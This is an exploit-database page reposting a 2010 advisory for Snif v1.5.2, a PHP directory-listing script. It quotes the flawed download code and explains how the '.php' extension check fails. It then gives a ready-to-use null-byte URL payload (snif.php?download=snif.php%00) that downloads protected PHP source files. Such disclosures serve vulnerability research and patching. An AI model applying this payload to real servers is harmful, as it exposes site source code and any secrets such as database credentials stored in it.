Lucene search
K

Snif v1.5.2 - Any Filetype Download Exploit

🗓️ 01 Feb 2010 00:00:00Reported by AodrulezType 
zdt
 zdt
🔗 0day.today👁 23 Views

Snif v1.5.2 "Any Filetype" Download Exploi

Code
===========================================
Snif v1.5.2 - Any Filetype Download Exploit
===========================================

--------------------------------------------
-: Snif - "Any Filetype" Download Exploit :-
--------------------------------------------
 
Script   : Snif - (Simple And Nice Index File)
Version  : 1.5.2 (possibly lower versions too)

Vulnerability:
--------------
 
Some Default Settings are:
 
$hiddenFilesWildcards = Array("*.php", "*~");
$allowPHPDownloads = false;
 
The first option will prevent any php file
from being listed in the directory listing.
Second one will prevent download of files
with ".php" extension.
 
Even with these options set,we can still
download php files....due to the following
vulnerable code:-
 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
if ($_GET["download"]!="") {
     
 $download = stripslashes($_GET["download"]);
 $filename = safeDirectory($path.rawurldecode($download));
 if (
    !file_exists($filename)
    OR fileIsHidden($filename)
    OR (substr(strtolower($filename), -4)==".php" AND !$allowPHPDownloads)) {
         
         
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
The last line in the above code checks the
file's extension to make sure its not a php
file.This line of code is Vulnerable though
 
Exploit:
--------
 
Lets say the script is located here:
http://www.a.com/snif.php
 
The following url will bypass all restrictions
and let you download a php file :-
 
http://www.a.com/snif.php?download=snif.php%00



#  0day.today [2018-04-08]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Feb 2010 00:00Current
7.1High risk
Vulners AI Score7.1
23